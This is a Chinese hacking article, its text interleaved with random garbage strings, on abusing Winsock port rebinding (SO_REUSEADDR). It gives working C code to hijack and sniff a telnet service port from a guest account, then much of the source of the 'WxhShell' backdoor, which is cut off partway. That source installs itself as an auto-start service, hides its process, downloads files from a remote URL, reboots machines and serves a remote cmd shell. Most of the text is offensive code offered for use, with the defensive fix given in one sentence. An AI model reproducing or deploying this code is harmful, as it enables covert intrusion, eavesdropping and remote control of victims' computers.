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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N&@}/wzZ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \d::l{VB I-OJVZ( V saddr.sin_family = AF_INET; `({T]@]V 4tY ss saddr.sin_addr.s_addr = htonl(INADDR_ANY); n]he-NHP W456!OHa bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _V`DWR
* +>JjvYx}\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (h:Rh fFQ|T:vm 这意味着什么?意味着可以进行如下的攻击: b+Br=Fv"T 4`,j =3 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 47J5oPT2' qP<Lr)nUH 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ']+Uu'a dO%W+K 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zXRlo] W^"AU;^V56 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 4>J
<tioJG{OT 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u{L!n$D7 R
LD`O9#j 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }NB}"%2 -lv)tHs< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S{3nM< tsk)zP,< #include 7B?c{ #include Wl}&?v&@ #include K<>sOWZ'S #include f7}*X|_Y DWORD WINAPI ClientThread(LPVOID lpParam); Dih3}X&jn$ int main() [+P#tIL { fum0>tff WORD wVersionRequested; ^b
%0B DWORD ret; `jOX6_z?I WSADATA wsaData; 4"Hye&O BOOL val; [<KM?\"1< SOCKADDR_IN saddr; 9YBv|A SOCKADDR_IN scaddr; mml
z&h int err; H$6`{lx, SOCKET s; N;[>,0&z SOCKET sc; aCL!]4K84$ int caddsize; W|o'& HANDLE mt; YX#-nyK DWORD tid; (IPY^>h wVersionRequested = MAKEWORD( 2, 2 ); XO'l Nb. err = WSAStartup( wVersionRequested, &wsaData ); FJd]D[h if ( err != 0 ) { ZIF49`Y4TF printf("error!WSAStartup failed!\n"); n..g~$k return -1; Sr?#S } Y5j]Z^^v saddr.sin_family = AF_INET; m?&1yU9 :GJ &_YHf //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 plZ>03(6Q -!
K-Htb- saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =J~ x saddr.sin_port = htons(23); {,L+1h if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t N2Md}@e { nb>7UN.9 printf("error!socket failed!\n"); c?@T1h4 return -1; 9rA=pH%<>B } -xP!" val = TRUE; >&U,co$> //SO_REUSEADDR选项就是可以实现端口重绑定的 M^]cM(swK5 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `F>O; >i'' { _x5 3g
A printf("error!setsockopt failed!\n"); Tq4-wE+ return -1; 7!N2-6GV } n9xAPB } //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; piZJJYv t //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9U%N@Dq`Z //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 QMpoa5ZQG d09k5$=gJ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) IOV(seEY { Y"wUt & ret=GetLastError(); $81*^ printf("error!bind failed!\n"); # m *J& return -1; j+
LawW- } ziCHjqT listen(s,2); }O4^Cc6 while(1) Xqm::1(-( { ` 5C~ caddsize = sizeof(scaddr); wg]j+r@ //接受连接请求 \R;`zuv sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6}oXP_0U if(sc!=INVALID_SOCKET) G"XVn~] { >#y^;/bb mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [bk?!0]aV if(mt==NULL) 1[vi. { |1>*;\o- printf("Thread Creat Failed!\n"); jav#f{' break; 8zR~d%pK } {b
} 8UVmv=T CloseHandle(mt);
i|m3mcI%2 } ZKckAz\# closesocket(s); 7[}xP#Z WSACleanup(); _&b4aW9< return 0; d$Pab* } '4#}e[e DWORD WINAPI ClientThread(LPVOID lpParam) LmnymcH { #hsx#x|| SOCKET ss = (SOCKET)lpParam; #: [<iSk SOCKET sc; <h'5cO unsigned char buf[4096]; uPl\I6k SOCKADDR_IN saddr; *N<&GH(j long num; ]f({`&K5 DWORD val; .ODR ]7{ DWORD ret; vTx2E6 //如果是隐藏端口应用的话,可以在此处加一些判断 ] A+?EE2/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 0PrLuejz saddr.sin_family = AF_INET; -u8NF_{c saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e%@~MQ- saddr.sin_port = htons(23); ToXki, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MbZJ;,e? { N D(/uyI printf("error!socket failed!\n"); #t:S.A@ return -1; XBb~\p3y } HUv/ ~^< val = 100; C9n?@D;S if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }%'?p<^M { hRrn$BdLX ret = GetLastError(); XINu=N(g return -1; g1W.mAA3B } s'E2P[: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ND>r#(_\ { :UF%K>k2 ret = GetLastError(); lyy W return -1; QgU8s'e } $o0iLFIX/ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J;{N72 { Ay5i+)MD printf("error!socket connect failed!\n"); :y%/u%L closesocket(sc); *n 6s.$p)% closesocket(ss); !Wy6/F@Z return -1; |:xYE{*)H } k@f g(}6 while(1) OwH81# { t<z`N-5* //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 beRVD>T //如果是嗅探内容的话,可以再此处进行内容分析和记录 r&R B9S@*h //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 El[)?+;D num = recv(ss,buf,4096,0); cDFO; Dr if(num>0) %)|9E>fP]N send(sc,buf,num,0); 52 fA/sx else if(num==0) Crho=RJPR break; ZniB]k1 num = recv(sc,buf,4096,0);
-QM:
q if(num>0) JORGj0v send(ss,buf,num,0); aB{vFTD5 else if(num==0) v/68*,z[ break; 7VqM$I } /%}*Xh closesocket(ss); u09:Z{tL;@ closesocket(sc); Q<^Tl(`/N? return 0 ; nrxo&9[@n } `\gnl' Ma.`A [E!oQVY ========================================================== K9$>Yxe| \?0&0;5 下边附上一个代码,,WXhSHELL #sPHdz'3M 9`I _Et ========================================================== +*ZO&yJQ^< w+#C-&z #include "stdafx.h" a(kg/s 6:Ch^c+IZ #include <stdio.h> XQ9O$
~q #include <string.h> ]iN'x?Fo #include <windows.h> :PIF07$xl #include <winsock2.h> P9^-6;'Y #include <winsvc.h> trPAYa}W #include <urlmon.h> uxtWybv Q[vJqkgT #pragma comment (lib, "Ws2_32.lib") wRcAX%n& #pragma comment (lib, "urlmon.lib") Kwefs;<E? \Xm,OE_v" #define MAX_USER 100 // 最大客户端连接数 WQ[_hg|k #define BUF_SOCK 200 // sock buffer s2'yY(u/ #define KEY_BUFF 255 // 输入 buffer q>$ev)W DnCP
aM4% #define REBOOT 0 // 重启 iYORu3 #define SHUTDOWN 1 // 关机 Tl$[4heE L;VoJf #define DEF_PORT 5000 // 监听端口 Co (.:z~ iop2L51eJ #define REG_LEN 16 // 注册表键长度 C([phT; #define SVC_LEN 80 // NT服务名长度 Vr6@>@SC S1p;nK // 从dll定义API cC=[Saatsf typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3 Nreqq typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f&eK|7J_Yf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WG6FQAo^8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W-x?:X<} @ezH'y-v // wxhshell配置信息 \m7-rV6r struct WSCFG { R< ,`[* Z int ws_port; // 监听端口 :3XA!o&.T3 char ws_passstr[REG_LEN]; // 口令 '(f&P=[b int ws_autoins; // 安装标记, 1=yes 0=no x_|UPF char ws_regname[REG_LEN]; // 注册表键名 4}_j`d/8| char ws_svcname[REG_LEN]; // 服务名 uw[<5 char ws_svcdisp[SVC_LEN]; // 服务显示名 P3cR l'] char ws_svcdesc[SVC_LEN]; // 服务描述信息 _LMM,!f char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LR.Hh int ws_downexe; // 下载执行标记, 1=yes 0=no TH; R char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" & -{DfNK c char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]h>_\9qO L\)ZC }; ud xZ0 ?nofUD. // default Wxhshell configuration Bt>}rYz1 struct WSCFG wscfg={DEF_PORT, LJk@Vy <? "xuhuanlingzhe", WM| dKF
1, |uqf:V`z: "Wxhshell", #w,Dwy "Wxhshell", "^w]_^GD$d "WxhShell Service",
0Sle
"Wrsky Windows CmdShell Service", Bg&i63XL$$ "Please Input Your Password: ", /2UH=Q!x4E 1, :*ing " http://www.wrsky.com/wxhshell.exe", 0y
7"SiFY "Wxhshell.exe" -BRc8 / }; xIxn"^' sm0x LZ // 消息定义模块 ]w;rfn9D char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -~v|Rt char *msg_ws_prompt="\n\r? for help\n\r#>"; uJFdbBDSh char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; fBRo_CU8! char *msg_ws_ext="\n\rExit."; 4]h
=yc R char *msg_ws_end="\n\rQuit."; biSz?DJ> char *msg_ws_boot="\n\rReboot..."; MaRi+3F char *msg_ws_poff="\n\rShutdown..."; N}pw74=1 char *msg_ws_down="\n\rSave to "; [q/Abz'i H<v'^*( char *msg_ws_err="\n\rErr!"; @6{~05.p
char *msg_ws_ok="\n\rOK!"; cxA ^:3 gZLP\_CL char ExeFile[MAX_PATH]; B8B; y^b>i int nUser = 0; b4E:Wn9x HANDLE handles[MAX_USER]; lV1G<qP int OsIsNt; iz8Bf; ~i~7na| SERVICE_STATUS serviceStatus; :uWw8` SERVICE_STATUS_HANDLE hServiceStatusHandle; v}1QH \^ZlG. // 函数声明 P%{^ i] int Install(void); 4a'N>eDR int Uninstall(void); r<K(jG[:{f int DownloadFile(char *sURL, SOCKET wsh); GliwY_ int Boot(int flag); Pa{%\dsv void HideProc(void); BFL`!^ int GetOsVer(void); JHz
[ 7 int Wxhshell(SOCKET wsl); pQshUm"_ void TalkWithClient(void *cs); <\NY<QIwFw int CmdShell(SOCKET sock); B$b +Ymu int StartFromService(void); in~D int StartWxhshell(LPSTR lpCmdLine); '+osf'& .q9
$\wM/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7w'wjX- VOID WINAPI NTServiceHandler( DWORD fdwControl ); o
Z%9_$Z a^`rtvT // 数据结构和表定义 D+>4AqG SERVICE_TABLE_ENTRY DispatchTable[] = RLbKD> { m=}B,']O {wscfg.ws_svcname, NTServiceMain}, p?B=1vn-2 {NULL, NULL} 2Ou[u#H }; gW-V=LV ( ft$RSb# // 自我安装 a"FCZ.O1 int Install(void) BReJ!|{m} { =&,]Z6{> char svExeFile[MAX_PATH]; +pR[U4$ HKEY key; kuol rfGB strcpy(svExeFile,ExeFile); ;?8_G%va tS|(K=$
// 如果是win9x系统,修改注册表设为自启动 xYmxc9)2 if(!OsIsNt) { ,=Mt`aN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|QU <e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }
\XfH RegCloseKey(key); `}mcEl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K Pt5=a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); byTh/ H RegCloseKey(key); Olh<,p+x return 0; /4g1zrU } l y(>8F } AS\F{ !O } BsEF'h'Owh else { s (zL d5oIH // 如果是NT以上系统,安装为系统服务 f ` R/
i SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8Le||)y,\ if (schSCManager!=0) f6p-s
y> { pov)Z):}G< SC_HANDLE schService = CreateService @>p<3_Y1 ( {buo^kgj`] schSCManager, vJ'2@f$ wscfg.ws_svcname, ly:q6i wscfg.ws_svcdisp, W3 'q\+ SERVICE_ALL_ACCESS, K#pNec SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \=6l9Lrj>h SERVICE_AUTO_START, &ge "x{,? SERVICE_ERROR_NORMAL, 4scNSeW svExeFile, y~F,0"N\r NULL, *XT/KxLa7 NULL, _i20|v NULL, Y*H|?uNF NULL, &o,<ijJ:^m NULL P@9t;dZN ); RLLTw ?]$ if (schService!=0) T`5bZu^c { Y?(r3E^x CloseServiceHandle(schService); iZM+JqfU|D CloseServiceHandle(schSCManager); ><gG8MH0' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pKit~A,Q strcat(svExeFile,wscfg.ws_svcname); YgUvOyaQXf if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5u*-L_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'H
\9:7 RegCloseKey(key); no<
^f]33 return 0; @>W(1mRi } Z@]e{zO } Z yE `/J' CloseServiceHandle(schSCManager); DV<` K$ET } cd$m25CxC } XpBj%e: PfC!lI
BU return 1; qzf!l"bT } 2T V X)q<\ tE]= cTSV // 自我卸载 IW@PF7 int Uninstall(void) [Pq}p0cD { |MFF7z{% HKEY key; yIDD@j=l bO'Sgc[] if(!OsIsNt) { i`dCG[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w*oQ["SL RegDeleteValue(key,wscfg.ws_regname); 9983aFam RegCloseKey(key); ?e,pN,4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >hk=VyU; RegDeleteValue(key,wscfg.ws_regname); )u/yF*:n RegCloseKey(key); 6^%68N1k return 0; dIRm q+d^ } Qj.l:9% } l}]t~!X= } 5[*
qi?w= else { _Jme!Oaa }Rz3<eON SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eC[$B99\ if (schSCManager!=0) kH]yl
2 { Q4f/Z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hhari!RXC if (schService!=0) 2@%$;. { <iH`rP# if(DeleteService(schService)!=0) { ^OstR`U3 CloseServiceHandle(schService); K)Q]a30 CloseServiceHandle(schSCManager); <xgTS[k return 0; PzA|t;* } ~~SwCXZ+b^ CloseServiceHandle(schService); >i5acuth } ]8f ms( CloseServiceHandle(schSCManager); +(C6#R<LI } B,TB3
{ } WXmn1^"kK} vfq%H( return 1; HA2k[F@3^ } ,]+z)
\hM|(*DL // 从指定url下载文件 HmiJ~C_v`: int DownloadFile(char *sURL, SOCKET wsh) t5#rps\; { 0o9 3iu=& HRESULT hr; qL6
|6-? char seps[]= "/"; Y@b.sMg{ char *token; l)!n/x_ ! char *file; 8erSt!oM char myURL[MAX_PATH]; .h>8@5/s char myFILE[MAX_PATH]; IuNiEtKx r9
!Tug*>m strcpy(myURL,sURL);
jz5qQt]^ token=strtok(myURL,seps); sIK;x]Q) while(token!=NULL) TJ1+g
\ { M
$Es% file=token; .8P.)% token=strtok(NULL,seps); JvT"bZk(o } @ ]/AjjLt %Mk0QKzUo GetCurrentDirectory(MAX_PATH,myFILE); /ew
Ukc8, strcat(myFILE, "\\"); }w1~K'ck}> strcat(myFILE, file); QoG cWJ send(wsh,myFILE,strlen(myFILE),0); 1;mW,l'` send(wsh,"...",3,0); 72oF ,42y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p\JfFfC if(hr==S_OK) D,g1<:< return 0; nSkPM5\TI else qUOKB6 return 1; x}Aw)QCh+r /yZQ\ {= } VxXzAeM ]Yvga!S"C // 系统电源模块 H<}^'#"p int Boot(int flag) N9vP7 { .] sf0S! HANDLE hToken; rwG CUo6Z TOKEN_PRIVILEGES tkp; 86\S?=J-b U)o$WH.b if(OsIsNt) { I;Bjfv5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UGuxV+Nwf LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x
>^Si/t tkp.PrivilegeCount = 1; QC X8IIHG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mGGsB5#w> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T9u <p=p if(flag==REBOOT) { QNxl/y\l0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $.GOZqMs return 0; <]b7ZF] } a)#1{JaoY else { *H.oP if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yZ7,QsEsN return 0; Hf vTxaK } Ie4 hhW } HjGyj/78w else { K"[AxB'F if(flag==REBOOT) { q7-L53.x if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~I799Xi return 0; ZG du| } >+
4huRb else { 9 `w) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HH@qz2 w return 0; ^>N]H>0'S } 'qF#<1& } `A,g] 1C: mBG=jI "xh return 1; <1.A=_
M } T7d9ChU\#. hwIMn33 // win9x进程隐藏模块 ]Wq?H-B{ void HideProc(void) Hw-Z { Sf,R^9#| IW%|G HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S.d^T]( if ( hKernel != NULL ) ?w+Ix~k { (Gw,2-A pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }Iz7l{al ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _+^ 2^TW FreeLibrary(hKernel); S9>0t0 } acw4B5] 3,Q^&
1 return; {M?vBgR\B } .^m>AKC0cX ryc& n5 // 获取操作系统版本 "n=vN<8(o int GetOsVer(void) V2<?ol { \#>T~.Y7K OSVERSIONINFO winfo; E gDQ+(
- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H=\!2XS GetVersionEx(&winfo); C{q :_M; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v,\R,{0 return 1; .]9c / else T1r3=Y4 return 0; jh.@- } kee|42E f7 'q- // 客户端句柄模块 a+9*@z2 int Wxhshell(SOCKET wsl) f*24)Wn< { l?q%?v8 SOCKET wsh; %Jf<l&K.` struct sockaddr_in client; |K^"3`SJ DWORD myID; a !mf;m A;O~#Chvd while(nUser<MAX_USER) iK IOh('G { 03iv3/{H int nSize=sizeof(client); Zxb_K wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fI7j):h; if(wsh==INVALID_SOCKET) return 1; |P.6< \6 93kQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ee/&/Gt if(handles[nUser]==0) W},b{NT closesocket(wsh); ejO}t:}P else /^ " 83?_ nUser++; toaYsiIkzW } ~6I)|^Z WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N|Sf=q?Ko Go&D[# return 0; 033T>qY } /LM4-S rO:u6."_ // 关闭 socket cf7v[ZZ} void CloseIt(SOCKET wsh) 07/L}b`P { Y=T'WNaL)0 closesocket(wsh); ZK'-U,Y.H7 nUser--; a@pz*e ExitThread(0); )kJH5/ } 0'r%,0 OGrBUP // 客户端请求句柄 KA276# void TalkWithClient(void *cs) /n4pXT { o|j*t7 IjfxR mV SOCKET wsh=(SOCKET)cs; $j5,%\4< char pwd[SVC_LEN]; "aF8l<1xn char cmd[KEY_BUFF]; cM_Fp char chr[1]; 7DfTfTU6 int i,j; "W#t;;9Wz pfd#N[c while (nUser < MAX_USER) { }N*>QR5K L@^~N$G&u if(wscfg.ws_passstr) { =ORf%f5"' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "|m|E/Z-9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZCg`z //ZeroMemory(pwd,KEY_BUFF); o_Si mJFK i=0; ?K@t0a
while(i<SVC_LEN) { I=Oy- poJg"R4 // 设置超时
1KYN>s: fd_set FdRead; ]p~IYNl2%j struct timeval TimeOut; 0~ &" FD_ZERO(&FdRead); T|"7sPgGR FD_SET(wsh,&FdRead); ?/JBt
/b TimeOut.tv_sec=8; 'lS`s( TimeOut.tv_usec=0; FhIqy %X int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1|?K\B if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w^1Fi8+ R1-k3;v^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J@9}`y=K pwd =chr[0]; ~^vC,]hU if(chr[0]==0xd || chr[0]==0xa) { -K[782Q pwd=0; p[2GkP break; 5=KF!? } h~7,`fo i++; ap}5ElMR } YGsS4ia*4i m/`IGT5J // 如果是非法用户,关闭 socket fRm}S>Nibb if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +3,|"g:: } #~Q8M*~@ WjMS5^ _ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OSzjK7: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2BzqY`O $cVi;2$p while(1) { @1R8-aa-r w.N,)]h ZeroMemory(cmd,KEY_BUFF); }xlKonk $gMCR
b, // 自动支持客户端 telnet标准 Z v0C@r j=0; h<+|x7u while(j<KEY_BUFF) { cywg[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a)2yE,": cmd[j]=chr[0]; e(1k0W4B if(chr[0]==0xa || chr[0]==0xd) { &!35/:~uD cmd[j]=0; Ih1|LR/c break; <E\V`g } PG,U6c # j++; D{'#er } &HM-g7|C0E B(l-}|m_ // 下载文件 Oe1 t\ if(strstr(cmd,"http://")) { tL0`Rvl send(wsh,msg_ws_down,strlen(msg_ws_down),0); ["3df>!f if(DownloadFile(cmd,wsh)) I"xWw/Ec send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,f:
jioY else ]#< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s>z2 k } 'Zk<l#"} else { eSl-9
^ 3z{S}~ switch(cmd[0]) { 4x'AC%&Qi M+sj} // 帮助 bO49GEUT _ case '?': { 0zqj0
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Xz;b,C&*t break; .F0]6#( } #B\=Aa`* // 安装 ]2+g&ox4' case 'i': { hbuZaxo< if(Install()) dyQh:u
- send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Kd7dK9&] else ~"ONAX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bdV3v` break; t ,qul4y} } ui'F'"tPz // 卸载 WfGH|u
case 'r': { lv:U%+A if(Uninstall()) #Y[H8TW send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q:S\0cI0 else )-&nxOP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >,h1N$A+ break; s?O&ZB2GM[ } ;mO,3dV // 显示 wxhshell 所在路径 L(WOet( ' case 'p': { _g6m=N4 char svExeFile[MAX_PATH]; Sb^
b)q" strcpy(svExeFile,"\n\r"); A|<; strcat(svExeFile,ExeFile); 6b:DJ send(wsh,svExeFile,strlen(svExeFile),0); ~HP
LV break; eX<K5K.B } wsg//Ec] // 重启 FU@uH
U5fd case 'b': { Wp*sPZ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6tOi^+qN if(Boot(REBOOT)) '\*A"8;h send(wsh,msg_ws_err,strlen(msg_ws_err),0); k)E ;( else { 8wiA closesocket(wsh); fkW(Dt, ExitThread(0); B5Va%?Wg?H } Kp_jy.e7& break; }(=ml7 )v } GqjO>v fy // 关机 ZBj6KqfST% case 'd': { Js}tZ\+P75 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0|2%# E if(Boot(SHUTDOWN)) + x_wYv send(wsh,msg_ws_err,strlen(msg_ws_err),0); ",Wf uz else { Pi%tsKk% closesocket(wsh); `?SG XXC ExitThread(0); w67xl } 8Nvr93T, break; N^@
\tg= } II# // 获取shell /8p&Qf>lJ1 case 's': {
f-vK}'Z`, CmdShell(wsh); 1PU*:58[ closesocket(wsh); C
MqM;1 ExitThread(0); }Z6nN)[|0Y break; , ;'SVe% } ct\<;I(H // 退出 %)IrXz>Zh case 'x': { mcMb*?] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z90Fcp:R CloseIt(wsh); Xr2J:1pgg break; 4GTrI@}3 } u'@Ely // 离开 s<{GpWT8 case 'q': { zMU68vwM send(wsh,msg_ws_end,strlen(msg_ws_end),0); pSrsp r closesocket(wsh); m9g^ -X WSACleanup(); =n
}Yqny exit(1); f)tc 4iV break; t/LgHb:) } 7sN0`7 } w?;b7i } u.&|CF- ,$i<@2/=m // 提示信息 Qrz*Lvle h if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X0x_+b?
_ } M;@Ex`+?i } |
W?[,|e i -V0Lm/ return; -t b;igv } tD^a5qPh ^HoJ.oC/ // shell模块句柄 gDc]^K4> int CmdShell(SOCKET sock) %9YA^ri { ]84YvpfW STARTUPINFO si; 7`+UB>8 ZeroMemory(&si,sizeof(si)); wKrdcWI,Z si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /p[y1 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7?]!Ecr" PROCESS_INFORMATION ProcessInfo; 0&o
WfTg char cmdline[]="cmd"; o(nHB
g CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `L">"V`$Bj return 0; /]l f>\x1 } s|p(KWo2U a5I%RY // 自身启动模式 kpY%& int StartFromService(void) DUPmq!A { `~KAk typedef struct wJr/FE7c { 2?pM5n DWORD ExitStatus; R''Sfz>8 DWORD PebBaseAddress; ;>'SV~F DWORD AffinityMask; (aBP|rxg DWORD BasePriority; 'iDu0LX ULONG UniqueProcessId; 0Sz/c+ 6 ULONG InheritedFromUniqueProcessId; :!hk~#yvJ9 } PROCESS_BASIC_INFORMATION; DMRs}Yz6 vy:6_ PROCNTQSIP NtQueryInformationProcess; u4xA'X'~R .>oM
z&
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3?]S,~!F static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I@c0N*( X[Y#+z4 HANDLE hProcess; `ITDTZ
